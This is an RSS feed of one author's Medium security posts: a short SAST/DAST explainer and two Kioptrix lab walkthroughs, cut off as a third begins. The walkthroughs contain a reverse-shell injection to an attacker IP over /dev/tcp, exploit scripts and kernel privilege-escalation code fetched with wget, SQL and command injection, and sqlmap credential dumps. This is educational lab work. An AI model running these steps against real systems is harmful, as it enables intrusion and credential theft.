<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mostafa Yasser on Medium]]></title>
        <description><![CDATA[Stories by Mostafa Yasser on Medium]]></description>
        <link>https://medium.com/@myfa?source=rss-99f27b6612cf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fZKscVroSzA3REPgrm0Xxw.png</url>
            <title>Stories by Mostafa Yasser on Medium</title>
            <link>https://medium.com/@myfa?source=rss-99f27b6612cf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 10:42:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@myfa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SAST vs DAST Explained: The Security Concepts Every Developer Should Know]]></title>
            <link>https://medium.com/@myfa/sast-vs-dast-explained-the-security-concepts-every-developer-should-know-0efff172e438?source=rss-99f27b6612cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/0efff172e438</guid>
            <dc:creator><![CDATA[Mostafa Yasser]]></dc:creator>
            <pubDate>Tue, 10 Mar 2026 09:38:57 GMT</pubDate>
            <atom:updated>2026-03-10T09:38:57.854Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vxx2XeETWsOBYpUk5ylunA.png" /></figure><p>If you’ve just started learning <strong>application security</strong>, you’ve probably seen terms like <strong>SAST</strong> and <strong>DAST</strong> everywhere.</p><p>They often look like complicated jargon that only security engineers understand.</p><p>But the truth is… the idea behind them is extremely simple.</p><p>It’s basically <strong>inspection before and after building the product</strong>.</p><p>Let’s break it down.</p><h3>Imagine You’re Building a Car</h3><p>Before a car leaves the factory, it goes through multiple inspections.</p><p>First, engineers inspect the <strong>raw materials</strong> used to build the car:<br> the metal, the screws, the components.</p><p>Then after the car is assembled, they perform <strong>crash tests</strong> to see how it behaves in the real world.</p><p>Application security follows almost the exact same process.</p><p>This is where <strong>SAST</strong> and <strong>DAST</strong> come in.</p><h3>SAST: Inspecting the Code Before the App Exists</h3><p><strong>SAST (Static Application Security Testing)</strong> analyzes the <strong>source code</strong> before the application even runs.</p><p>Think of it as checking the <strong>materials before building the car</strong>.</p><p>It scans the code to find security issues like:</p><ul><li>Basic <strong>SQL Injection patterns</strong></li><li><strong>Hardcoded secrets</strong> such as passwords or API keys inside the code</li><li>Insecure coding practices</li></ul><p>Because it works directly on the code, SAST can detect problems <strong>very early in the development process</strong>.</p><p>Some common SAST tools include:</p><ul><li>Veracode</li><li>SonarQube</li><li>Checkmarx</li></ul><h3>DAST: Testing the Application in the Real World</h3><p>Now imagine the car is fully built and ready.</p><p>Before selling it, engineers perform a <strong>crash test</strong>.</p><p>They drive it, push it to its limits, and observe how it behaves.</p><p>That’s exactly what <strong>DAST (Dynamic Application Security Testing)</strong> does.</p><p>Instead of scanning the code, DAST tests the <strong>running application</strong>.</p><p>It interacts with the app like a real attacker would and looks for vulnerabilities such as:</p><ul><li><strong>Cross-Site Scripting (XSS)</strong></li><li><strong>Session management issues</strong></li><li>Cookie security problems</li><li>Runtime vulnerabilities that only appear when the app is running</li></ul><p>Popular DAST tools include:</p><ul><li>OWASP ZAP</li><li>Burp Suite Professional</li><li>Acunetix</li></ul><h3>Where Do They Fit in CI/CD?</h3><p>Modern software development uses <strong>CI/CD pipelines</strong> to automate building, testing, and deploying applications.</p><p>Security testing is now part of that pipeline.</p><h3>Continuous Integration (CI)</h3><p>When a developer <strong>pushes code</strong>, the pipeline automatically starts.</p><p>At this stage, <strong>SAST runs immediately</strong>.</p><p>Think of it as a <strong>security gate at the beginning of the factory</strong>.</p><p>If the scanner detects a vulnerability like SQL Injection, the pipeline <strong>fails instantly</strong>, and the developer must fix the issue before the code moves forward.</p><h3>Continuous Delivery / Deployment (CD)</h3><p>Once the code is built into a working application, <strong>DAST takes over</strong>.</p><p>This is the <strong>final security check before release</strong>.</p><p>The running application is scanned to find vulnerabilities that only appear during execution.</p><p>If everything passes, the application is safely deployed to production.</p><h3>So Where Do Pentesters Fit In?</h3><p>Tools like SAST and DAST are excellent at catching:</p><ul><li>Repetitive vulnerabilities</li><li>Common coding mistakes</li><li>Known security patterns</li></ul><p>But they still have limitations.</p><p>They struggle with things like:</p><ul><li><strong>Business logic vulnerabilities</strong></li><li>Complex attack chains</li><li>Creative exploitation paths</li></ul><p>And this is where <strong>human attackers (ethical hackers)</strong> provide real value.</p><p>As pentesters, our job is to think like an attacker and uncover vulnerabilities <strong>no automated tool can detect</strong>.</p><p>Because sometimes…</p><p><strong>Security is not about scanning the code.<br> It’s about understanding the system.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0efff172e438" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix: Level 1.2 (#3) Complete Writeup]]></title>
            <link>https://medium.com/@myfa/kioptrix-level-1-2-3-complete-writeup-d1d10b831d4d?source=rss-99f27b6612cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1d10b831d4d</guid>
            <dc:creator><![CDATA[Mostafa Yasser]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 15:33:37 GMT</pubDate>
            <atom:updated>2025-09-12T15:33:37.992Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6zZmkRgA9vBm3qpd84qyCw.png" /></figure><h3>Author: [Mostafa Yasser]<br>Date: [12/09/2025]</h3><h3>Introduction</h3><p>This write-up documents my hands-on experience in solving Kioptrix Level 1.2 (#3). It covers the entire penetration testing process, from discovering the target machine on the network, enumerating services, exploiting web application and system vulnerabilities, to ultimately gaining root privileges. The goal of this guide is to demonstrate a structured and methodical approach to penetration testing, showcasing practical exploitation techniques and multiple paths to achieve full system compromise.</p><h3>Step 1 — Discovering the Target Machine IP</h3><p>First, I needed to find the IP of the target machine on my isolated lab network.<br> I used arp-scan on my vmnet1 interface to scan the entire subnet.</p><pre>sudo arp-scan --interface=vmnet1 172.16.252.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BI1s2YJRx3KcWMKq7c8a2g.png" /></figure><p><strong>Result:</strong><br> I found the target machine responding on 172.16.252.130.</p><h3>Step 2 — Port Scanning with Nmap</h3><p>Next, I scanned all ports and enabled service detection to see what’s running.</p><pre>nmap -A -p- 172.16.252.130</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvFFQQ5bT37m5GYYnsFMFQ.png" /></figure><p><strong>Findings:</strong></p><ul><li>Port 22 → SSH (OpenSSH 4.7p1)</li><li>Port 80 → HTTP (Apache HTTP Server 2.2.8, PHP 5.2.4)</li></ul><h3>Step 3 — Identifying the Web Application</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_oK7ZGnnJx04DJM2ZVNdAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RN74JQBRoGK8waM-CMtf6g.png" /></figure><p>Visiting the web server in the browser showed a site <strong>“Proudly Powered by: LotusCMS”</strong>.<br> I decided to search for public exploits related to LotusCMS.</p><pre>searchsploit LotusCMS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NprEFJcdp9W_lrvNEnMz1Q.png" /></figure><p><strong>Result:</strong> Found multiple exploits, including an RCE exploit for LotusCMS 3.0 (Metasploit module).<br> However, the Metasploit exploit didn’t work in my environment.</p><h3>Step 4 — Using a Public RCE Exploit</h3><p>After searching on the web, I found a working exploit on GitHub.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VGI-6SNNL9OnkzdfN1Zp0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VcYGbh_m4jFMOGxZxvHjTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TXTifgcLvON9hN_03Yok5w.png" /></figure><pre>git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit.git<br>cd LotusCMS-Exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*sTwGt4z4NcPS1cgPYGrVwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*JXij5E1F5CadpRy2s5JCkw.png" /></figure><p>The script I needed was lotusRCE.sh.<br> Usage (as described in the comments):</p><pre>./lotusRCE.sh &lt;target_ip&gt; &lt;LotusCMS-path&gt;</pre><p>So I executed it like this:</p><p>The LotusCMS installation is located directly at the root of the web server /.</p><pre>./lotusRCE.sh 172.16.252.130 /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*RZPgziZFkoxZXNkiBWy9dw.png" /></figure><h3>Step 5 — Setting up a Reverse Shell Listener</h3><p>Before continuing, I opened a listener on my attacking machine to catch the reverse shell:</p><pre>nc -l -p 5555 -vvv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*YnpkwDiyr9zViepD4OoG-Q.png" /></figure><p>Back in the exploit script shell, it prompted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*7mwHWivuIIFNcBX7YHhhiQ.png" /></figure><ul><li>what IP to use? → I entered my IP 172.16.252.1</li><li>What PORT? → I entered 5555</li><li>choose the method for back connect → I chose 1) NetCat -e</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*DkoUED8YKr842ohqByXtxQ.png" /></figure><p><strong>Result:</strong><br> The target connected to my listener.<br> However, the shell was non-interactive.</p><h3>Step 6 — Upgrading to a Fully Interactive Shell</h3><p>I upgraded the shell using Python’s pty module:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Then I verified my current user:</p><pre>id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*bKTgtow4gDzKJmGyV_ugWQ.png" /></figure><p><strong>Output:</strong> uid=33(www-data) gid=33(www-data) groups=33(www-data)</p><h3>Step 7 — Enumerating the System</h3><p>To prepare for privilege escalation, I gathered system info:</p><pre>uname -a<br>lsb_release -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*VjSgO02eWnIH-8iOcUi_yQ.png" /></figure><p><strong>Finding:</strong><br> The machine is running <strong>Linux Kernel 2.6.24–24.</strong></p><h3>Step 8 — Searching for a Local Privilege Escalation Exploit</h3><p>After gaining a shell as www-data, I wanted to escalate my privileges.<br> First, I searched for known privilege escalation exploits related to the running kernel version (Linux Kernel 2.6.24-24) using Searchsploit:</p><pre>searchsploit Linux Kernel 2.6.24-24 privilege Escalation</pre><p>This returned multiple potential exploits. One of the results was the well-known Dirty COW vulnerability, which can be used to gain root privileges on vulnerable systems.</p><p>I then copied the exploit to new directory :</p><pre>mkdir /tmp/share<br>cd /tmp/share</pre><pre>searchsploit -m linux/local/40839.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pg3tQttjCaL5Eo2GjbQhww.png" /></figure><p>I then hosted the exploit on my attacker machine using a simple Python HTTP server. This allows the target machine to download the exploit file directly from my machine over HTTP. It is a quick and convenient method for transferring files during penetration tests, especially when direct file sharing methods are not available on the target.</p><pre>python3 -m http.server 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*dbnEqIHxli4gCp7faqcDTA.png" /></figure><h3>Step 9 — Transferring and Compiling the Exploit on the Target</h3><p>On the target shell:</p><pre>cd /tmp<br>wget http://172.16.252.1:8080/40839.c<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*8NOuf-X3Aw1wiZHnUnjwAA.png" /></figure><pre>gcc 40839.c -o expo -lcrypt -lpthread</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*s64KL4UEJAMqyr7hjdHEsg.png" /></figure><pre>chmod +x expo<br>./expo</pre><p>It asked for a new password — I entered 12345.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*VPu6-fhZysGmaeUanIz2fw.png" /></figure><p><strong>Result:</strong><br> It created a new root user:</p><pre>firefart:fi3LLch28IK7A:0:0:pwned:/root:/bin/bash</pre><h3>Step 10 — Gaining a Root Shell via SSH</h3><p>Since SSH was open (as seen in the nmap scan), I attempted to connect:</p><pre>ssh firefart@172.16.252.130</pre><p>Initially, I got:</p><pre>Unable to negotiate with 172.16.252.130 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*6vrbNAo7MHOpgSquSvt78g.png" /></figure><p><strong>Fix:</strong> Specify the supported host key algorithm:</p><pre>ssh -oHostKeyAlgorithms=+ssh-rsa firefart@172.16.252.130</pre><p>Then enter the password 12345</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*VV2RFj-aD3i_0ygf_Vn2xw.png" /></figure><h3><em>and I successfully gained </em><strong>root shell</strong><em> access</em></h3><h3>I didn’t stop at this single method of gaining root. I decided to explore an alternative approach to achieve privilege escalation. This way, I could validate multiple exploitation techniques and ensure a deeper understanding of the system’s vulnerabilities.</h3><h3>Step 11 — Discovering Hidden Directories with dirb</h3><p>I ran dirb to enumerate all available directories on the target web server:</p><pre>dirb http://172.16.252.130</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*MJctlFSZYfr1uBG0UzLFBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*PGuyJQymGj_QWm6_oKEYSw.png" /></figure><p>Among the results, the directory /gallery/ was discovered:</p><pre>==&gt; DIRECTORY: http://172.16.252.130/gallery/</pre><p>Visiting this directory in the browser showed a web page, but the images were not displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*72diZ6iNQ5zhvcdvnyyOpA.png" /></figure><h3>Step 12 — Handling Domain Issues</h3><p>Viewing the page source revealed the following line:</p><pre>&lt;base href=&quot;http://kioptrix3.com/gallery/&quot;&gt;&lt;/base&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8r3PBVU9E6yrOgTFJG6vWA.png" /></figure><p>The base URL pointed to kioptrix3.com, which was registered by someone else. To solve this locally, I edited the /etc/hosts file on my machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/1*Hxm1-ZV8D_HRO47XX5unnA.png" /></figure><pre>172.16.252.130  kioptrix3.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*bz8VQKJdi8MvDs9uReFoUA.png" /></figure><p>After refreshing the page, the images loaded correctly, allowing me to explore the gallery further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XgD6gqqS5qX0zeirqf96jw.png" /></figure><h3>Step 13 — Identifying SQL Injection Potential</h3><p>Exploring the gallery, I found a page with a sorting feature, which changed the URL like this:</p><pre>http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photoid#photos</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIY2XwvdX2j7vvUJz0TXQg.png" /></figure><p>This URL appeared vulnerable to SQL injection. I tested it with sqlmap:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photoid&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxLqr6wLKmN5JxbtLt4_5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PmQdMO0Ct5L8fJRaSCB8Gw.png" /></figure><h3>Step 14 — Enumerating Databases</h3><p>I checked which databases were available on the target:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photoid&quot; --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnHMGIYHZ1TMyLGHgH4T_w.png" /></figure><p><strong>Result:</strong></p><pre>available databases [3]:<br>[*] gallery<br>[*] information_schema<br>[*] mysql</pre><h3>Step 15 — Listing Tables in the gallery Database</h3><p>Next, I inspected the tables in the gallery database:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photoid&quot; -D gallery --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5vBYsZzrGsB8XivPHs6Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uROJimHltWcYEJ_xPTAFA.png" /></figure><p><strong>Tables found:</strong></p><pre>+----------------------+<br>| dev_accounts         |<br>| gallarific_comments  |<br>| gallarific_galleries |<br>| gallarific_photos    |<br>| gallarific_settings  |<br>| gallarific_stats     |<br>| gallarific_users     |<br>+----------------------+</pre><p>I focused on the dev_accounts and gallarific_users tables, as developer accounts usually have higher privileges.</p><h3>Step 16 — Dumping Credentials</h3><p>I dumped the contents of the dev_accounts table:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=1&amp;sort=photoid&quot; -D gallery -T dev_accounts --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOKtm56rUJi-sGR56ThI4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPddNMENqwi6flGA5HhVyQ.png" /></figure><p><strong>Result:</strong></p><pre>+----+---------------------------------------------+------------+<br>| id | password                                    | username   |<br>+----+---------------------------------------------+------------+<br>| 1  | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)  | dreg       |<br>| 2  | 5badcaf789d3d1d09794d8f021f40f0e (starwars)| loneferret |<br>+----+---------------------------------------------+------------+</pre><p>I now had two accounts and their passwords.</p><h3>Step 17 — Attempting SSH Access</h3><p>I first tried logging in via SSH using the dreg account:</p><pre>ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa dreg@172.16.252.130</pre><p>The password from the database worked, but sudo -l revealed:</p><pre>Sorry, user dreg may not run sudo on Kioptrix3.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*jy9oQnKiuxw82SqGW-zxKA.png" /></figure><p>Next, I tried the second account loneferret:</p><pre>ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa loneferret@172.16.252.130</pre><p>I then checked sudo privileges:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*IYRUMQTDgIh7Ri_Z5kFOZg.png" /></figure><p><strong>Output:</strong></p><pre>User loneferret may run the following commands on this host:<br>    (root) NOPASSWD: !/usr/bin/su<br>    (root) NOPASSWD: /usr/local/bin/ht</pre><h3>Step 18 — Exploiting ht for Privilege Escalation</h3><p>The user could run /usr/local/bin/ht with sudo without a password. Running it initially gave:</p><pre>Error opening terminal: xterm-256color</pre><p>I fixed this by exporting the terminal type:</p><pre>export TERM=xterm</pre><p>Then reran:</p><pre>sudo /usr/local/bin/ht</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*38r4QkIhvaRmjsQ2KU_uLw.png" /></figure><h3>Step 19 — Gaining Full Root Privileges</h3><p>I edited /etc/sudoers to allow the loneferret user full root privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTLlFHPPSnIxWlRateCnUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*qZcroFhH3Xl7vRUem1I6lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*qrYfWBBPy8Nx4JCFYUnmkQ.png" /></figure><pre>loneferret ALL=(ALL) ALL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*9Kbk2xR8b7AAOLqjBoA-pg.png" /></figure><p>After saving the file, I verified:</p><pre>sudo -l</pre><p><strong>Output:</strong></p><pre>User loneferret may run the following commands on this host:<br>    (ALL) ALL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*0ecyLAVHny1GL62XPkrdUQ.png" /></figure><p>Finally, I switched to root:</p><pre>sudo su<br>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*BGoH3zMNlVqTY-n6c5c1bw.png" /></figure><p><strong>Output:</strong></p><pre>root</pre><p>At this point, I had successfully rooted the machine using a second, independent method, in addition to the first Dirty COW approach.</p><h3>Conclusion</h3><p>In this write-up, I detailed two distinct methods to compromise Kioptrix Level 1.2 (#3) and achieve root access. The first method leveraged a remote code execution vulnerability in LotusCMS combined with the Dirty COW local privilege escalation exploit. The second method utilized SQL injection to extract developer credentials and exploited a misconfigured sudo binary to gain root privileges.</p><p>Through this process, I demonstrated a structured penetration testing methodology that includes network discovery, service enumeration, web application exploitation, database assessment, and privilege escalation. Employing multiple approaches not only validated the vulnerabilities but also highlighted the importance of understanding different attack vectors to achieve complete system compromise.</p><p>This case emphasizes the value of methodical testing and demonstrates how combining web and system exploitation techniques can lead to full control of a target environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1d10b831d4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix: Level 1.1 (#2) Complete Writeup]]></title>
            <link>https://medium.com/@myfa/kioptrix-level-1-1-2-complete-writeup-5aa6c4bc02cf?source=rss-99f27b6612cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/5aa6c4bc02cf</guid>
            <dc:creator><![CDATA[Mostafa Yasser]]></dc:creator>
            <pubDate>Thu, 11 Sep 2025 10:28:28 GMT</pubDate>
            <atom:updated>2025-09-11T10:28:28.893Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YT5JMxiKIdvnGD6xnaOz2w.png" /></figure><h3>Author: [Mostafa Yasser]<br>Date: [11/09/2025]</h3><h3>Introduction</h3><p>This write-up details my hands-on experience in solving <strong>Kioptrix Level 2</strong>, from discovering the target machine on the network to gaining root privileges and extracting the flag. The purpose of this guide is to demonstrate a structured penetration testing methodology and practical exploitation techniques.</p><h3>1. Discovering Devices on the Network</h3><p>The first step was identifying the target IP within the network. I used <strong>ARP scan</strong> to discover all devices:</p><pre>sudo arp-scan -l</pre><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*D7Qo2fQXbR9sKvW0-sH0Iw.png" /></figure><p>The target machine was identified as:</p><pre>192.168.159.136</pre><h3>2. Port Scanning</h3><p>After identifying the IP, I used <strong>Nmap</strong> to scan all ports and detect running services:</p><pre>nmap -p- -A 192.168.159.136</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*mPuIrSHro-9EeoLbfTg9eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*lJxGDec9e-D6BT0OhIWT1Q.png" /></figure><p><strong>Key Findings:</strong></p><ul><li><strong>22/tcp:</strong> SSH (OpenSSH 3.9p1)</li><li><strong>80/tcp &amp; 443/tcp:</strong> Apache HTTP Server 2.0.52 (CentOS)</li><li><strong>3306/tcp:</strong> MySQL (unauthorized)</li><li><strong>OS:</strong> Linux CentOS 4.5</li><li><strong>Kernel:</strong> 2.6.x</li></ul><p>This scan provided a clear view of potential attack vectors.</p><h3>3. Web Interface Testing</h3><p>Accessing the HTTP server revealed a <strong>login page</strong>. I tested a simple <strong>SQL Injection</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*fE-EaXTQw9Z2S_SpaXR9RQ.png" /></figure><pre>&#39;OR TRUE -- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*I3FOSsnMPfihujDpiSC1Pw.png" /></figure><p>This successfully bypassed authentication and redirected me to a page containing a <strong>Ping web console</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*ClY7z48WM5bIU4RT3nOlkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Pch5KLuEBZ7LkFwf54VrJA.png" /></figure><h3>4. Command Injection</h3><p>The Ping console allowed input of an IP, but it was vulnerable to <strong>command injection</strong> using ;. For example:</p><pre>;whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*XaoEt7RJtHWxiaCexssVdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*ceCY9_XoGY6ERLrXhVBjuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*kqNfmeCYXee9ugH7TMGn_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*W0ta61A0dgjDkNvUfO7iCQ.png" /></figure><p>This confirmed the ability to execute commands remotely.</p><h3>5. Reverse Shell</h3><p>I obtained a <strong>reverse shell</strong> payload from Pentest Monkey. I set up a listener on my machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTvPRMRwB6hAjc5b8bvtSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZFr-ENdIw-3yQ-kOsVkDg.png" /></figure><pre>nc -l -p 8080 -vvv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*zIWQNE9vAVZUu3q3VENTag.png" /></figure><p>Then injected the reverse shell command on the target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nbhuag_jtuIrpUX4AvrvCQ.png" /></figure><pre>;bash -i &gt;&amp; /dev/tcp/192.168.159.134/8080 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*1z-a4koAF-S8NMvzPPdEGA.png" /></figure><p>This connected the target back to my machine, giving me shell access.</p><h3>6. Reconnaissance on the Target</h3><p>Inside the shell, I gathered system information:</p><pre>whoami<br>lsb_release -a<br>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*BkZ7ubd8RArCXcNdnyNbNQ.png" /></figure><ul><li>Current user: apache</li><li>OS: CentOS 4.5</li><li>Kernel: 2.6.x</li></ul><p>This information was essential for selecting a suitable local privilege escalation exploit.</p><h3>7. Privilege Escalation</h3><p>I searched for a <strong>local exploit</strong> for the target kernel:</p><pre>searchsploit CentOS 4.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*akKXNpqpoed6OQLqe-ECYA.png" /></figure><p><strong>Exploit:</strong><br> <em>Linux Kernel 2.6 &lt; 2.6.19 </em><em>ip_append_data() Ring0 Privilege Escalation</em></p><p><strong>Steps to exploit:</strong></p><p>7.1: Create a temporary directory:</p><pre>mkdir /tmp/share &amp;&amp; cd /tmp/share</pre><p>7.2: Copy the exploit using searchsploit:</p><pre>searchsploit -m linux_x86/local/9542.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBWgf7323vpGyR2zqWODKg.png" /></figure><p>7.3: Start a temporary HTTP server to transfer the exploit to the target:</p><pre>python3 -m http.server 8081</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*wCKL6oAyWA0Dh0LdgyGRYg.png" /></figure><p>7.4: Download the exploit on the target via the reverse shell:</p><p>I will first go into /tmp and upload the exploit there so I can test running it.</p><pre>cd /tmp</pre><pre>wget http://192.168.159.134:8081/9542.c</pre><p>7.5: Compile the exploit:</p><pre>gcc 9542.c -o exp</pre><p>7.6: Set execution permissions:</p><pre>chmod +x exp</pre><p>7.7: Execute the exploit:</p><pre>./exp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*U-Ef8DKh5YDqYEdDUPOShQ.png" /></figure><p>This successfully elevated privileges to <strong>root</strong>.</p><h3>8. Extracting the Flag</h3><p>Finally, I accessed the root mail and retrieved the flag:</p><pre>mail</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*8G7tEkfkqAW8jWXWgDe0OA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*EBQ7Qp-GjyPwZ64jpa-UXA.png" /></figure><p>The flag was present in the mail content, marking the successful completion of Kioptrix Level 2.</p><h3>Conclusion</h3><p>This walkthrough demonstrates a complete penetration testing methodology:</p><ol><li>Network and service reconnaissance</li><li>Web application vulnerability exploitation</li><li>Reverse shell deployment</li><li>Local privilege escalation</li></ol><p>Key takeaways include the importance of <strong>gathering system information</strong>, <strong>selecting suitable exploits</strong>, and <strong>working within temporary directories for safe execution</strong>. Following a structured approach is essential for practical penetration testing and ethical hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5aa6c4bc02cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix: Level 1 (#1) Complete Writeup]]></title>
            <link>https://medium.com/@myfa/kioptrix-level-1-1-complete-writeup-2209505b9763?source=rss-99f27b6612cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/2209505b9763</guid>
            <dc:creator><![CDATA[Mostafa Yasser]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 22:12:18 GMT</pubDate>
            <atom:updated>2025-09-08T22:12:18.848Z</atom:updated>
